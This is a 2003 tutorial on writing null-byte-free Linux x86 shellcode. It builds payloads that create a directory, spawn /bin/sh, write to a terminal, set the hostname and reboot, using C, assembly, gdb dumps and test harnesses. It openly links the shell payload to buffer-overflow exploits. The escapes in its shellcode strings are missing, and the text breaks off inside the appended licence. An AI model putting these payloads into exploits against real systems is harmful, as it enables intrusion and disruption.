Shellcode Construction

By: theswede


Shellcode Construction
Revision 1
27 December 2003



This is the first revision of Shellcode Construction, which contains
modifications to code examples as well as text because of errors
discovered in the original document.


Copyright (c) 2003 the_swede.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.2
or any later version published by the Free Software Foundation;
with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
A copy of the license is included in the section entitled "GNU
Free Documentation License".




Introduction
------------

Although tedious and abstract, shellcoding is an important skill
to learn in order to understand the underlying concepts of computer
systems. Shellcode is also important for the understanding of computer
security where shellcode is used to exploit vulnerable applications. In
this article, we will be working on Linux using the IA-32(x86)
architecture. Knowledge of C and IA-32 assembly, as well as knowledge
of how to use gdb is helpful.



			The approach 

			^^^^^^^^^^^^ 

	Usually the first step is getting to know your function's(or 

syscall) arguments. For our first example, we will create a directory 

called "1337". In order to do this, we must first look up the syscall 

for mkdir and the arguments for mkdir. A decent list of system calls 

can be found at http://www.linuxassembly.org/syscall.html. By looking 

on there, we find that the syscall for mkdir is 39(0x27). By doing a 

bit of googling, we can see that the arguments for mkdir is:

 

		int mkdir(const char *path, mode_t) 



The path of our directory will be a pointer. The mode is an 

integer. The second step is to write a program in C that will create a 

directory called "1337".



mkdir.c 

------------------------------------------------------------------------ 

#include <stdio.h> 



int main() 

{ 

	mkdir("1337", 0755); 

	return 0; 

}

------------------------------------------------------------------------ 



			Extracting the Information 

			########################## 



	After we write this code, we want to compile it, run it, and then 

check out the assembly code of it using gdb, as our third step: 



------------------------------------------------------------------------

eric@debian:~/shellcode$ gcc -o mkdir mkdir.c 

eric@debian:~/shellcode$ ./mkdir 

eric@debian:~/shellcode$ ls -l 

total 16 

drwxr-xr-x 2 eric eric 4096 Nov 10 00:11 1337 

-rwxr-xr-x 1 eric eric 4810 Nov 10 00:11 mkdir 

-rw-r--r-- 1 eric eric 71 Nov 10 00:07 mkdir.c 

eric@debian:~/shellcode$ gdb mkdir 

GNU gdb 2002-04-01-cvs 

Copyright 2002 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and 

you are welcome to change it and/or distribute copies of it under 

certain conditions. 

Type "show copying" to see the conditions. 

There is absolutely no warranty for GDB. Type "show warranty" for 

details. 

This GDB was configured as "i386-linux"...(no debugging symbols 

found)... 

(gdb) disassemble main 

Dump of assembler code for function main: 

0x80483f0 <main>:  push %ebp 

0x80483f1 <main+1>: mov %esp,%ebp 

0x80483f3 <main+3>: sub $0x8,%esp 

0x80483f6 <main+6>: add $0xfffffff8,%esp 

0x80483f9 <main+9>: push $0x1ed 

0x80483fe <main+14>: push $0x8048474 

0x8048403 <main+19>: call 0x80482d0 <mkdir> 

0x8048408 <main+24>: add $0x10,%esp 

0x804840b <main+27>: xor %eax,%eax 

0x804840d <main+29>: jmp 0x8048410 <main+32> 

0x804840f <main+31>: nop 

0x8048410 <main+32>: leave 

0x8048411 <main+33>: ret 

0x8048412 <main+34>: lea 0x0(%esi,1),%esi 

0x8048419 <main+41>: lea 0x0(%edi,1),%edi 

End of assembler dump. 

------------------------------------------------------------------------ 



	The code worked. It created a directory called "1337" with 

permissions of 755. If I had set my permissions to 777, the 

permissions still would have been 755, because of the umask set as 022. 

From the disassembled code, we can extract the information we need in 

order to create the assembly code. What we need to look at is the 

fifth and sixth lines. The first push instruction is pushing the second 

argument which was the mode. Despite setting the mode to 0755, the 

mode that we will use for our assembly code is 0x1ed. The second push 

is pushing the memory address, which points to the name of the 

directory we are creating. The program then goes and calls the mkdir() 

function and then returns back to 0x8048408.



			Creating the Assembly Code 

			~~~~~~~~~~~~~~~~~~~~~~~~~~ 



	The first thing we want to do is put the name of our directory 

into a buffer. We do this by using the stack. The stack allows us to

place data into contiguous memory regions. Since the stack uses 

something called LIFO(Last In First Out) or FILO(First In Last Out), we 

have to place everything onto the stack in reverse order. But we can 

only do this four bytes at a time. Our string must be converted from 

ASCII to hexadecimal. The hexadecimal equivilant of "1337" is 

0x31333337. A string must also be padded with a null byte to terminate 

it. Time to place it onto the stack:



	pushl 	$0x0 

	pushl 	$0x37333331



	We now have our string in a contiguous memory region. In order to 

set up the parameters for any system call, the four 32-bit general 

registers EAX, EBX, ECX, and EDX, the four 16-bit general registers, 

AX, BX, CX, and DX, or the four 8-bit general registers, AL, BL, CL, 

and DL are used. The arguments that are placed into the general 

purpose registers must also be placed in reverse order. We need to 

first place the mode into a register. Remember, the mode is an integer:



	movl 	$0x1ed, %ecx 



	Now we must use the stack pointer as our directory argument. The 

stack pointer(ESP) points to the top of the stack, where our string is 

located. The stack on IA-32 grows downwards, or towards lower memory 

addresses: 



	movl 	%esp, %ebx 



	After that is completed, we must put the system call number, which 

is 0x27(or 39 in decimal), into EAX and then dive into kernel mode:

 

	movl 	$0x27, %eax 

	int 	$0x80 



	Our last part of the program is to run the exit syscall. We want 

to return 0 to show a successful run. By doing this, we must place 0 

into EBX. To do so, we can do an Exclusive OR on the register itself. 

The exit syscall is 0x1:

 

	xorl 	%ebx, %ebx 

	movl 	$0x1, %eax 

	int 	$0x80 



	When we put this all together, we get something like this: 



mkdir.s 

------------------------------------------------------------------------ 

.section .text 

.global main 



main: 

	pushl 	$0x0 

	pushl 	$0x37333331 

	movl 	$0x1ed, %ecx 

	movl 	%esp, %ebx



	movl 	$0x27, %eax 

	int 	$0x80 

	xorl 	%ebx, %ebx 

	movl 	$0x1, %eax 

	int 	$0x80 

------------------------------------------------------------------------ 



			Patch Work 

			++++++++++ 



	We want to try to avoid using 0's in our assembly code. First, 

they look ugly, and they also take up unneccessary bytes. For 

instance, there's no need to use a 32-bit register when you're only 

placing 8 or 16 bits of data into it! For a hacker's purpose, the null 

bytes cannot be used in his or her exploits because a null byte 

terminates a string. In order to fix our problem, we will change the 

following: 



		pushl $0x0 | xorl %eax, %eax 

			   | pushl %eax

	

	 movl $0x1ed, %ecx | movw $0x1ed, %cx 



	  movl $0x27, %eax | movb $0x27, %al 



	   movl $0x1, %eax | movl %ebx, %eax 

			   | incl %eax



	Now that the patch work is done, we have our new code: 



mkdir.s 

------------------------------------------------------------------------ 

.section .text 

.global main 



main: 

	xorl 	%eax, %eax 

	pushl	%eax 

	pushl 	$0x37333331 

	movw 	$0x1ed, %cx 

	movl 	%esp, %ebx 

	movb 	$0x27, %al 

	int 	$0x80 



	xorl 	%ebx, %ebx 

	movl 	%ebx, %eax 

	incl 	%eax 

	int 	$0x80 

------------------------------------------------------------------------ 



			Writing the Shellcode 

			`````````````````````



	Finally it is time to write our shellcode. We need to assemble 

our patched assembly code, and see if it works: 



------------------------------------------------------------------------ 

eric@debian:~/shellcode$ gcc -o mkdir mkdir.s 

eric@debian:~/shellcode$ ./mkdir 

eric@debian:~/shellcode$ ls -l 

total 20 

drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337 

-rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir 

-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c 

-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s 

------------------------------------------------------------------------ 



	Yep! It works! Now we need to extract the opcodes using gdb. 



------------------------------------------------------------------------ 

eric@debian:~/shellcode$ gdb mkdir 

GNU gdb 2002-04-01-cvs 

Copyright 2002 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and 

you are welcome to change it and/or distribute copies of it under 

certain conditions. 

Type "show copying" to see the conditions. 

There is absolutely no warranty for GDB. Type "show warranty" for 

details. 

This GDB was configured as "i386-linux"...(no debugging symbols 

found)... 

(gdb) x/30b main 

0x80483c0 <main>: 0x31 0xc0 0x50 0x68 0x31 0x33 0x33 0x37 

0x80483c8 <main+8>: 0x66 0xb9 0xed 0x01 0x89 0xe3 0xb0 0x27 

0x80483d0 <main+16>: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd 

0x80483d8 <main+24>: 0x80 0x8d 0x76 0x00 0x90 0x90 

------------------------------------------------------------------------ 



	We need to clean this up a bit. I would do it by copying and 

pasting the gdb output into a text file, remove everything before the 

":"s, remove all the spaces, and to a search/replace on all the "0x"s 

with "x"s. It is also necessary to cut out all of the opcodes after 

the last 0x80 or x80, because the rest are not important to the 

construction of shellcode. 

When we neaten the opcodes up, we get something similar to this: 



------------------------------------------------------------------------ 

x31xc0x50x68x31x33x33x37 

x66xb9xedx01x89xe3xb0x27 

xcdx80x31xdbx89xd8x40xcd 

x80 

------------------------------------------------------------------------ 



	Our shellcode then looks something like this: 



mkdir.c 

------------------------------------------------------------------------ 

#include <stdio.h>



char shellcode[] = 

	"x31xc0x50x68x31x33x33x37" 

	"x66xb9xedx01x89xe3xb0x27" 

	"xcdx80x31xdbx89xd8x40xcd" 

	"x80"; 



int main(void) 

{ 

	int * ret; 

	ret = (int *)&ret + 2; 

	(*ret) = (int)shellcode; 

}

------------------------------------------------------------------------ 



	Let us compile and run our shellcode to see if it works. 



------------------------------------------------------------------------ 

eric@debian:~/shellcode$ gcc -o mkdir mkdir.c 

eric@debian:~/shellcode$ ./mkdir 

eric@debian:~/shellcode$ ls -l 

total 20 

drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337 

-rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir 

-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c 

-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s 

------------------------------------------------------------------------ 



	Thankfully it worked! Constructing shellcode is a very tedious 

task, as you can see. I'm sure if you were patient enough to read up 

to here, you will continue reading. 



			More Examples 

			************* 



	For another example of writing shellcode, we will write shellcode 

that spawns a shell. This is often seen in the computer security 

field. Often, hackers spawn shells in their buffer overflow exploits. 

This is doine by changing the return address in the stack to an address 

where the shell spawning shellcode is located. 

We first start out with examining our syscall(or function) in C. 

In order to execute any program, we will use execve(). Execve() is 

both a system call and a C function. By looking at our chart, we find 

out that execve's number is 0xb, or 11. Then by looking at our man 

pages, we can find the arguments needed for execve(). 



int execve(const char *filename, char *const argv[], char *const envp[]) 



In C, we will get something like this: 

shspawn.c 

------------------------------------------------------------------------



#include <stdio.h> 



int main() 

{ 

	char *name[2];



	name[0] = "/bin/sh"; 

	name[1] = NULL; 



	execve(name, name[0], NULL); 

	return 0; 

}

------------------------------------------------------------------------ 



	Now we want to write this in assembly. We need to first create 

our path. Our path will be "/bin//sh". The extra "/" is an escape 

character used in order to distinguish slash that follows it. Then of 

course, in order to end any string, we must have a null byte. Our 

second argument is the entire character array. And our third argument 

is NULL. 

So in order to construct our code, we must first end our string 

with the null byte: 



	xorl 	%eax, %eax 

	xorl 	%ecx, %ecx 

	xorl 	%edx, %edx 

	pushl 	%edx 



	Now we need to push our string backwards, four bytes at a time: 



	pushl 	$0x68732f2f 

	pushl 	$0x6e69622f 



	Now that we have our completed string on the stack, we need to 

move it into a register. The path argument in our C function was the 

first; now it is the last, so ESP, which is pointing to our string, 

will be placed into EBX: 



	movl 	%esp, %ebx 



	We then need to set up our second argument, which was our string 

and a NULL and then place it into it's respective register: 



	pushl	%edx 

	pushl 	%ebx 

	movl 	%esp, %ecx 



	Once that is complete, we can now place the system call for 

execve, 0xb, into EAX, then go into kernel mode: 



	movb	$0xb, %al 

	int 	$0x80 



	Lastly, we must end our program with exit(0):



	xorl 	%ebx, %ebx 

	movl 	%ebx, %eax 

	incl 	%eax 

	int 	$0x80 



	Now that we have that, let's put the pieces together and construct 

our assembly code. The null bytes have already been removed: 

shspawn.s 

------------------------------------------------------------------------ 

.section .text 

.global main 



main: 

	xorl 	%eax, %eax 

	xorl 	%ebx, %ebx 

	xorl 	%ecx, %ecx 

	xorl 	%edx, %edx 



	pushl 	%edx 

	pushl 	$0x68732f2f 

	pushl	$0x6e69622f 



	movl 	%esp, %ebx 

	pushl 	%edx 

	pushl 	%ebx 

	movl 	%esp, %ecx 

	movl 	$0xb, %eax

	int 	$0x80 



	xorl 	%ebx, %ebx 

	movl 	%ebx, %eax 

	incl 	%eax 

	int 	$0x80 

------------------------------------------------------------------------ 



Let us now assemble and extract the opcodes: 



------------------------------------------------------------------------ 

eric@debian:~/shellcode$ gcc -o shspawn shspawn.s 

eric@debian:~/shellcode$ gdb shspawn 

GNU gdb 2002-04-01-cvs 

Copyright 2002 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and 

you are welcome to change it and/or distribute copies of it under 

certain conditions. 

Type "show copying" to see the conditions. 

There is absolutely no warranty for GDB. Type "show warranty" for 

details. 

This GDB was configured as "i386-linux"...(no debugging symbols 

found)... 

(gdb) disassemble main 

Dump of assembler code for function main: 

0x80483c0 <main>: xor %eax,%eax 

0x80483c2 <main+2>: xor %ebx,%ebx



0x80483c4 <main+4>: xor %ecx,%ecx 

0x80483c6 <main+6>: xor %edx,%edx 

0x80483c8 <main+8>: push %edx 

0x80483c9 <main+9>: push $0x68732f2f 

0x80483ce <main+14>: push $0x6e69622f 

0x80483d3 <main+19>: mov %esp,%ebx 

0x80483d5 <main+21>: push %edx 

0x80483d6 <main+22>: push %ebx 

0x80483d7 <main+23>: mov %esp,%ecx 

0x80483d9 <main+25>: mov $0xb,%al 

0x80483db <main+27>: int $0x80 

0x80483dd <main+29>: xor %ebx,%ebx 

0x80483df <main+31>: mov %ebx,%eax 

0x80483e1 <main+33>: inc %eax 

0x80483e2 <main+34>: int $0x80 

0x80483e4 <main+36>: nop 

0x80483e5 <main+37>: nop 

0x80483e6 <main+38>: nop 

---Type <return> to continue, or q <return> to quit--- 

0x80483e7 <main+39>: nop 

0x80483e8 <main+40>: nop 

0x80483e9 <main+41>: nop 

0x80483ea <main+42>: nop 

0x80483eb <main+43>: nop 

0x80483ec <main+44>: nop 

0x80483ed <main+45>: nop 

0x80483ee <main+46>: nop 

0x80483ef <main+47>: nop 

End of assembler dump. 

(gdb) x/36b main 

0x80483c0 <main>: 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2 

0x80483c8 <main+8>: 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 

0x80483d0 <main+16>: 0x62 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89 

0x80483d8 <main+24>: 0xe1 0xb0 0x0b 0xcd 0x80 0x31 0xdb 0x89 

0x80483e0 <main+32>: 0xd8 0x40 0xcd 0x80 

------------------------------------------------------------------------ 



When we extract the opcodes, we get our shellcode: 



shspawn.c 

------------------------------------------------------------------------ 

#include <stdio.h> 



char shellcode[] = 

	"x31xc0x31xdbx31xc9x31xd2" 

	"x52x68x2fx2fx73x68x68x2f" 

	"x62x69x6ex89xe3x52x53x89" 

	"xe1xb0x0bxcdx80x31xdbx89" 

	"xd8x40xcdx80"; 



int main(void) 

{ 

	int * ret; 

	ret = (int *)&ret + 2;



	(*ret) = (int)shellcode;

}

------------------------------------------------------------------------



When we compile and run it, it should spawn sh:



------------------------------------------------------------------------

eric@debian:~$ cd shellcode

eric@debian:~/shellcode$ gcc -o shspawn shspawn.c

eric@debian:~/shellcode$ ./shspawn

sh-2.05a$ exit

exit

------------------------------------------------------------------------



	Some variants of the above code exist; http://uc.zemos.net/sc/UCexecve.c



========================================================================

	For our third example, we will write the message "Hello World!" to

/dev/tty1. Let's first check out the system calls we need to use:



	int sys_open(const char * filename, int flags, int mode)

				-&-

	ssize_t sys_write(unsigned int fd, const char * buf, size_t count)



	One aspect of open is crucial in designing our shellcode; open()

returns the file descriptor(fd). Writing the C code comes first:



vt.c

------------------------------------------------------------------------

#include <stdio.h>

#include <fcntl.h>

#include <string.h>



int main()

{

	int fd = open("/dev/tty1", O_RDWR);

	char buf[] = "Hello World!";

	int len = strlen(buf);



	write(fd, buf, len);



	return 0;

}



	After compiling the above code, run it, then switch to tty1(Ctrl + Alt + F1).

The code should work.  We now need to write the assembly code. Let's start off with

examining the disassembled code using gdb:



------------------------------------------------------------------------

eric@debian:~/shellcode$ gdb vt

GNU gdb 2002-04-01-cvs

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-linux"...(no debugging symbols found)...

(gdb) disassemble main

Dump of assembler code for function main:

0x8048460 <main>:	push   %ebp

0x8048461 <main+1>:	mov    %esp,%ebp

0x8048463 <main+3>:	sub    $0x28,%esp

0x8048466 <main+6>:	add    $0xfffffff8,%esp

0x8048469 <main+9>:	push   $0x2

0x804846b <main+11>:	push   $0x8048534

0x8048470 <main+16>:	call   0x8048368 <open>

0x8048475 <main+21>:	add    $0x10,%esp

0x8048478 <main+24>:	mov    %eax,%eax

0x804847a <main+26>:	mov    %eax,0xfffffffc(%ebp)

0x804847d <main+29>:	lea    0xffffffec(%ebp),%edx

0x8048480 <main+32>:	mov    $0x804853e,%eax

0x8048485 <main+37>:	mov    (%eax),%edx

0x8048487 <main+39>:	mov    %edx,0xffffffec(%ebp)

0x804848a <main+42>:	mov    0x4(%eax),%edx

0x804848d <main+45>:	mov    %edx,0xfffffff0(%ebp)

0x8048490 <main+48>:	mov    0x8(%eax),%edx

0x8048493 <main+51>:	mov    %edx,0xfffffff4(%ebp)

0x8048496 <main+54>:	mov    0xc(%eax),%al

0x8048499 <main+57>:	mov    %al,0xfffffff8(%ebp)

0x804849c <main+60>:	add    $0xfffffff4,%esp

0x804849f <main+63>:	lea    0xffffffec(%ebp),%eax

---Type <return> to continue, or q <return> to quit---

0x80484a2 <main+66>:	push   %eax

0x80484a3 <main+67>:	call   0x8048348 <strlen>

0x80484a8 <main+72>:	add    $0x10,%esp

0x80484ab <main+75>:	mov    %eax,0xffffffe8(%ebp)

0x80484ae <main+78>:	add    $0xfffffffc,%esp

0x80484b1 <main+81>:	mov    0xffffffe8(%ebp),%eax

0x80484b4 <main+84>:	push   %eax

0x80484b5 <main+85>:	lea    0xffffffec(%ebp),%eax

0x80484b8 <main+88>:	push   %eax

0x80484b9 <main+89>:	mov    0xfffffffc(%ebp),%eax

0x80484bc <main+92>:	push   %eax

0x80484bd <main+93>:	call   0x8048328 <write>

0x80484c2 <main+98>:	add    $0x10,%esp

0x80484c5 <main+101>:	xor    %eax,%eax

0x80484c7 <main+103>:	jmp    0x80484d0 <main+112>

0x80484c9 <main+105>:	lea    0x0(%esi,1),%esi

0x80484d0 <main+112>:	leave

0x80484d1 <main+113>:	ret

0x80484d2 <main+114>:	lea    0x0(%esi,1),%esi

0x80484d9 <main+121>:	lea    0x0(%edi,1),%edi

End of assembler dump.

------------------------------------------------------------------------



	Let us focus on the two lines before the call to open().  It says push 0x2

and push $0x8048534.  The first push is placing ?O_RDWR? onto the stack.  The second

push is placing the string "/dev/tty1" onto the stack, which is located at that

memory address.



	When we write our own code, we first need to zero out all of our registers

to clear them of information.  If this is not done, you might get

undesirable output:



	xorl		%edx, %edx

	xorl		%ecx, %ecx

	xorl		%ebx, %ebx

	xorl		%eax, %eax



	Now we need to open /dev/tty1.  To do this, we first need to push out

string onto the stack.  Since every string is terminated with a null byte,

let us push EAX:



	pushl		%eax



	Now we need to push the actual string.  This code is a deviant from the

rest of the other examples in this paper in the method of how we set up

the string.  We place the string at the very bottom of the code, jump down to

it to place it onto the stack, then jump back up to complete the rest of the code.

This method is less tedious than the other way of figuing out what each

hexadecimal digit corresponds to which ASCII character:



	jmp		b



	Now that our first jump is done, we need to set up our arguments for open().

ECX will contain the pointer to the string, CL will contain the mode, and AL will

contain the syscall.  Then, jump into kernel mode:



	a:

	popl		%ebx

	movb		$0x2, %cl

	movb		$0x5, %al

	int		$0x80



	Since a function generally returns a value(except for type void),

in assembly, the function returns the value into EAX.  In the case of open(),

the file descriptor is returned.  We need to place the file descriptor into

EBX for the write() syscall:



	movl	%eax, %ebx



	Now, we set up our ?hello world? string:



	xorl	%eax, %eax

	pushl	%eax

	pushl	$0x0a

	pushl	$0x21646c72

	pushl	$0x6f57206f

	pushl	$0x6c6c6548



	To print to /dev/tty1, must do the following; set the length of the

string, which is 13(0xd), the string, and the syscall number into their

respective registers.  Jump into kernel mode:



	movb	$0xd, %dl

	movl	%esp, %ecx

	movb	$0x4, %al

	int	$0x80



	End the main part of the program with exit(0):



	xorl		%ebx, %ebx

	movl		%ebx, %eax

	incl		%eax

	int		$0x80



	Last task is to write the string and the calls necessary.  We will name

this part of the program "b".  We then call "a" and place the string into memory:



	b:

	call a

	.string "/dev/tty1"



	All together, the code should look like this:



vt.s

------------------------------------------------------------------------

.section .text



.global main



main:

	xorl	%edx, %edx

	xorl	%ecx, %ecx

	xorl	%ebx, %ebx



	xorl	%eax, %eax

	pushl	%eax

	jmp	b



	a:

	popl	%ebx

	movb	$0x2, %cl

	movb	$0x5, %al

	int	$0x80



	movl	%eax, %ebx



	xorl	%eax, %eax

	pushl	%eax

	pushl	$0x0a

	pushl	$0x21646c72

	pushl	$0x6f57206f

	pushl	$0x6c6c6548



	movb	$0xd, %dl

	movl	%esp, %ecx

	movb	$0x4, %al

	int	$0x80



	xorl	%ebx, %ebx

	movl	%ebx, %eax

	incl	%eax

	int	$0x80



	b:

	call a

	.string "/dev/tty1"

------------------------------------------------------------------------



	After assembling your code, you can then fetch the opcodes using gdb.

Your the shellcode below is the complete shellcode in order to write Hello World!"

to /dev/tty1.



vt.c

------------------------------------------------------------------------

#include <stdio.h>



char shellcode[] =

	"x31xd2x31xc9x31xdbx31xc0"

	"x50xebx2cx5bxb1x02xb0x05"

	"xcdx80x89xc3x31xc0x50x6a"

	"x0ax68x72x6cx64x21x68x6f"

	"x20x57x6fx68x48x65x6cx6c"

	"xb2x0dx89xe1xb0x04xcdx80"

	"x31xdbx89xd8x40xcdx80xe8"

	"xcfxffxffxffx2fx64x65x76"

	"x2fx74x74x79x31x00x89xf6";



int main(void)

{

	int * ret;

	ret = (int *)&ret + 2;

	(*ret) = (int)shellcode;

}

------------------------------------------------------------------------



	The original of the vt code* can be found at 

http://uc.zemos.net/sc These shellcodes and more can be found below. 

The idea for the vt shellcode was conspired by mikecc of Zemos after viewing my 

own original shellcode. Because of mikecc's superior coding abilities, he 

managed to code the first vt shellcode while I completed mine hours later.



hostname.c 

------------------------------------------------------------------------ 

/* author: the_swede 

 * title: hostname 

 * description: sets hostname to "1337". 

 */ 



#include <stdio.h> 



/* 

 * 	xorl 	%eax, %eax 

 * 	pushl 	%edx 

 * 	pushl 	$0x37333331 

 * 	movb 	$0x04, %cl 

 * 	movl 	%esp, %ebx 

 * 	movb 	$0x4a, %al 

 * 	int 	$0x80 

 * 

 * 	xorl 	%ebx, %ebx 

 * 	movl 	%ebx, %eax 

 * 	incl 	%eax 

 * 	int 	$0x80 

 */ 



char shellcode[] =

	"x31xc0x50x68x31x33x33x37" 

	"xb1x04x89xe3xb0x4axcdx80" 

	"x31xdbx89xd8x40xcdx80"; 



int main(void) 

{ 

	int * ret; 



	ret = (int *)&ret + 2; 

	(*ret) = (int)shellcode; 

}



------------------------------------------------------------------------



mkdir.c 

------------------------------------------------------------------------ 

/* author: the_swede 

 * title: mkdir 

 * description: creates a directory titled "1337". 

 */ 



#include <stdio.h> 



/* 

 * xorl %eax, %eax 

 * pushl %eax 

 * pushl $0x37333331 

 * 

 * movw $0x1ed, %cx 

 * movl %esp, %ebx 

 * movb $0x27, %al 

 * int $0x80 

 * 

 * xorl %ebx, %ebx 

 * movl %ebx, %eax 

 * incl %eax 

 * int $0x80 

 */ 



char shellcode[] = 

	"x31xc0x50x68x31x33x33x37" 

	"x66xb9xedx01x89xe3xb0x27" 

	"xcdx80x31xdbx89xd8x40xcd" 

	"x80"; 



int main(void) 

{ 

	int * ret;

 

	ret = (int *)&ret + 2; 

	(*ret) = (int)shellcode; 

}



reboot.c 

------------------------------------------------------------------------ 

/* 

 * Author: the_swede 

 * Title: reboot 

 * Date: 6/8/03 

 * Description: reboots Linux. 

 */ 



#include <stdio.h> 



/* 

 * pushl $0xfee1dead 

 * popl %ebx 

 * pushl $0x16041998 

 * popl %ecx 

 * pushl $0x1234567 

 * xorl %eax, %eax 

 * popl %edx 

 * movb $0x58, %al 

 * int $0x80 

 * 

 * xorl %ebx, %ebx 

 * movl %ebx, %eax 

 * incl %eax 

 * int $0x80 

 */ 



char shellcode[] = 

	"x68xadxdexe1xfex5bx68x98" 

	"x19x04x16x59x68x67x45x23" 

	"x01x31xc0x5axb0x58xcdx80" 

	"x31xdbx89xd8x40xcdx80"; 



int main(void) 

{ 

	int * ret; 



	ret = (int *)&ret + 2; 

	(*ret) = (int)shellcode; 

}

------------------------------------------------------------------------



shspawn.c 

------------------------------------------------------------------------ 

/* 

 * Title: shspawn 

 * Author: the_swede 

 * Date: 6/8/03 

 * Description: shellcode that spawns /bin/sh. 

 */ 



#include <stdio.h> 



/* 

 * xorl %edx, %edx 

 * pushl %edx 

 * pushl $0x68732f2f 

 * pushl $0x6e69622f 

 * 

 * movl %esp, %ebx 

 * pushl %edx 

 * pushl %ebx 

 * movl %esp, %ecx 

 * movb $0xb, %al 

 * int $0x80 

 * 

 * xorl %ebx, %ebx 

 * movl %ebx, %eax 

 * incl %eax 

 * int $0x80 

 */ 



char shellcode[] = 

	"x31xc0x31xdbx31xc9x31xd2" 

	"x52x68x2fx2fx73x68x68x2f" 

	"x62x69x6ex89xe3x52x53x89" 

	"xe1xb0x0bxcdx80x31xdbx89" 

	"xd8x40xcdx80"; 



int main(void) 

{ 

	int * ret; 



	ret = (int *)&ret + 2; 

	(*ret) = (int)shellcode; 

}

------------------------------------------------------------------------



vt.c 

------------------------------------------------------------------------ 

/* author:	the_swede

 * title:	vt

 * description:	writes "Hello World!" to /dev/tty1.

 */



#include <stdio.h>



/*

 *	xorl	%edx, %edx

 *	xorl	%ecx, %ecx

 *	xorl	%ebx, %ebx

 *

 *	xorl	%eax, %eax

 *	pushl	%eax

 *	jmp	b

 *

 *	a:

 *	popl	%ebx

 *	movb	$0x2, %cl

 *	movb	$0x5, %al

 *	int	$0x80

 *

 *	movl	%eax, %ebx

 *

 *	xorl	%eax, %eax

 *	pushl	%eax

 *	pushl	$0x0a

 *	pushl	$0x21646c72

 *	pushl	$0x6f57206f

 *	pushl	$0x6c6c6548

 *

 *	movb	$0xd, %dl

 *	movl	%esp, %ecx

 *	movb	$0x4, %al

 *	int	$0x80

 *

 *	xorl	%ebx, %ebx

 *	movl	%ebx, %eax

 *	incl	%eax

 *	int	$0x80

 *

 *	b:

 *	call a

 *	.string "/dev/tty1"

 */



char shellcode[] =

	"x31xd2x31xc9x31xdbx31xc0"

	"x50xebx2cx5bxb1x02xb0x05"

	"xcdx80x89xc3x31xc0x50x6a"

	"x0ax68x72x6cx64x21x68x6f"

	"x20x57x6fx68x48x65x6cx6c"

	"xb2x0dx89xe1xb0x04xcdx80"

	"x31xdbx89xd8x40xcdx80xe8"

	"xcfxffxffxffx2fx64x65x76"

	"x2fx74x74x79x31x00x89xf6";



int main(void)

{

	int * ret;



	ret = (int *)&ret + 2;

	(*ret) = (int)shellcode;

}

------------------------------------------------------------------------



write.c

------------------------------------------------------------------------

/* author: the_swede

 * title: write

 * description: writes "Hello World!"

 */



#include <stdio.h>



/*

 * xorl %edx, %edx

 * xorl %ecx, %ecx

 *

 * xorl %eax, %eax

 * pushl %eax

 * pushl $0x0a

 * pushl $0x21646c72

 * pushl $0x6f57206f

 * pushl $0x6c6c6548

 *

 * movb $0xd, %dl 

 * movl %esp, %ecx 

 * xorl %ebx, %ebx 

 * movb $0x4, %al 

 * int $0x80 

 * 

 * xorl %ebx, %ebx 

 * movl %ebx, %eax 

 * incl %eax 

 * int $0x80 

 */



char shellcode[] = 

	"x31xd2x31xc9x31xc0x50x6a" 

	"x0ax68x72x6cx64x21x68x6f" 

	"x20x57x6fx68x48x65x6cx6c" 

	"xb2x0dx89xe1x31xdbxb0x04" 

	"xcdx80x31xdbx89xd8x40xcd" 

	"x80"; 



int main(void) 

{ 

	int * ret; 



	ret = (int *)&ret + 2; 

	(*ret) = (int)shellcode; 

}

------------------------------------------------------------------------



GNU Free Documentation License
Version 1.2, November 2002


Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.


0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other
functional and useful document "free" in the sense of freedom: to
assure everyone the effective freedom to copy and redistribute it,
with or without modifying it, either commercially or noncommercially.
Secondarily, this License preserves for the author and publisher a way
to get credit for their work, while not being considered responsible
for modifications made by others.

This License is a kind of "copyleft", which means that derivative
works of the document must themselves be free in the same sense. It
complements the GNU General Public License, which is a copyleft
license designed for free software.

We have designed this License in order to use it for manuals for free
software, because free software needs free documentation: a free
program should come with manuals providing the same freedoms that the
software does. But this License is not limited to software manuals;
it can be used for any textual work, regardless of subject matter or
whether it is published as a printed book. We recommend this License
principally for works whose purpose is instruction or reference.


1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work, in any medium, that
contains a notice placed by the copyright holder saying it can be
distributed under the terms of this License. Such a notice grants a
world-wide, royalty-free license, unlimited in duration, to use that
work under the conditions stated herein. The "Document", below,
refers to any such manual or work. Any member of the public is a
licensee, and is addressed as "you". You accept the license if you
copy, modify or distribute the work in a way requiring permission
under copyright law.

A "Modified Version" of the Document means any work containing the
Document or a portion of it, either copied verbatim, or with
modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of
the Document that deals exclusively with the relationship of the
publishers or authors of the Document to the Document's overall subject
(or to related matters) and contains nothing that could fall directly
within that overall subject. (Thus, if the Document is in part a
textbook of mathematics, a Secondary Section may not explain any
mathematics.) The relationship could be a matter of historical
connection with the subject or with related matters, or of legal,
commercial, philosophical, ethical or political position regarding
